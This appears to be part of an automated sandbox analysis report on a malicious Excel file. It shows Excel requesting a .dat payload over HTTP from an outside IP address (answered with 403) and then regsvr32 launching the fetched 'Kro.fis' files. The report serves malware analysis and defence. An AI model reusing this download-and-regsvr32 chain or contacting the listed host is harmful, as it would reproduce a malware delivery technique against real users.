                                                                                                                                                  Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a
                                                                                                                                                  Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  2192.168.2.449744185.183.99.12080C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  Jun 25, 2021 14:14:07.592284918 CEST1086OUTGET /44372.593127662.dat HTTP/1.1
                                                                                                                                                  Accept: */*
                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                  User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                  Host: 185.183.99.120
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  Jun 25, 2021 14:14:07.876260042 CEST1086INHTTP/1.1 403 Forbidden
                                                                                                                                                  Server: nginx
                                                                                                                                                  Date: Fri, 25 Jun 2021 12:14:22 GMT
                                                                                                                                                  Content-Type: text/html
                                                                                                                                                  Content-Length: 548
                                                                                                                                                  Connection: keep-alive
                                                                                                                                                  Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a
                                                                                                                                                  Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                  Code Manipulations

                                                                                                                                                  Statistics

                                                                                                                                                  CPU Usage

                                                                                                                                                  Click to jump to process

                                                                                                                                                  Memory Usage

                                                                                                                                                  Click to jump to process

                                                                                                                                                  High Level Behavior Distribution

                                                                                                                                                  Click to dive into process behavior distribution

                                                                                                                                                  Behavior

                                                                                                                                                  Click to jump to process

                                                                                                                                                  System Behavior

                                                                                                                                                  General

                                                                                                                                                  Start time:14:14:01
                                                                                                                                                  Start date:25/06/2021
                                                                                                                                                  Path:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
                                                                                                                                                  Imagebase:0x810000
                                                                                                                                                  File size:27110184 bytes
                                                                                                                                                  MD5 hash:5D6638F2C8F8571C593999C58866007E
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Reputation:high

                                                                                                                                                  General

                                                                                                                                                  Start time:14:14:07
                                                                                                                                                  Start date:25/06/2021
                                                                                                                                                  Path:C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:regsvr32 ..\Kro.fis
                                                                                                                                                  Imagebase:0x11c0000
                                                                                                                                                  File size:20992 bytes
                                                                                                                                                  MD5 hash:426E7499F6A7346F0410DEAD0805586B
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Reputation:high

                                                                                                                                                  General

                                                                                                                                                  Start time:14:14:08
                                                                                                                                                  Start date:25/06/2021
                                                                                                                                                  Path:C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:regsvr32 ..\Kro.fis1
                                                                                                                                                  Imagebase:0x11c0000
                                                                                                                                                  File size:20992 bytes
                                                                                                                                                  MD5 hash:426E7499F6A7346F0410DEAD0805586B
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Reputation:high

                                                                                                                                                  General

                                                                                                                                                  Start time:14:14:09
                                                                                                                                                  Start date:25/06/2021
                                                                                                                                                  Path:C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:regsvr32 ..\Kro.fis2
                                                                                                                                                  Imagebase:0x11c0000
                                                                                                                                                  File size:20992 bytes
                                                                                                                                                  MD5 hash:426E7499F6A7346F0410DEAD0805586B
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Reputation:high

                                                                                                                                                  Disassembly

                                                                                                                                                  Code Analysis

                                                                                                                                                  Reset < >